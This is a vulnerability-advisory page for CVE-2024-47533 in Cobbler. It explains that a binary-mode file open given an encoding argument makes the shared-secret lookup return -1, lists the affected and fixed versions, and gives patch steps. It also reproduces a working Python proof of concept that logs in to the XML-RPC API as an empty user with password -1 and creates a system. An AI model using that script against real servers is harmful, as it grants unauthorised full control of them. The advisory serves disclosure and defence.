Live › vulnerability › CVE-2024-47533
Go to dashboardCobbler's shared-secret lookup always fails because a binary-mode file open is passed an encoding argument, so it returns -1 as the secret. An attacker who can reach the Cobbler XML-RPC API logs in as an empty user with password -1 and can change anything on the server.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-27 16:30 UTC, 0h before NVD. All times on this page are UTC.
Any Cobbler server in the affected version ranges whose XML-RPC endpoint (/cobbler_api) can be reached over the network is exposed, because the flaw lets any caller authenticate with an empty username and password -1. Servers reachable only from a locked-down management network are at lower risk but should still be patched. Installations on versions outside the listed ranges are not affected.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| cobbler | pypi | >= 3.3.0, < 3.3.7 | 3.3.7 |
| cobbler | pypi | >= 3.0.0, < 3.2.3 | 3.2.3 |
cobbler version or pip show cobbler and compare against the affected ranges 3.0.0 to below 3.2.3 and 3.3.0 to below 3.3.7.https://COBBLER_SERVER/cobbler_api.3.3.7 on the 3.3 line, or to 3.2.3 on the 3.2 line.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.
utils.py get_shared_secret:
def get_shared_secret() -> Union[str, int]:
"""
The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.
:return: The Cobbler secret which enables full access to Cobbler.
"""
try:
with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
data = fd.read()
except:
return -1
return str(data).strip()
Always returns -1 because of the following exception:
binary mode doesn't take an encoding argument
This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.
#!/usr/bin/python3
import ssl
import xmlrpc.client
params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()
url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
conn = xmlrpc.client.Server(url)
try:
token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))
print("Login success!")
system_id = conn.new_system(token)
This gives anyone with network access to a cobbler server full control of the server.
This page as .md · .json · in your agent: get_signal("CVE-2024-47533")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.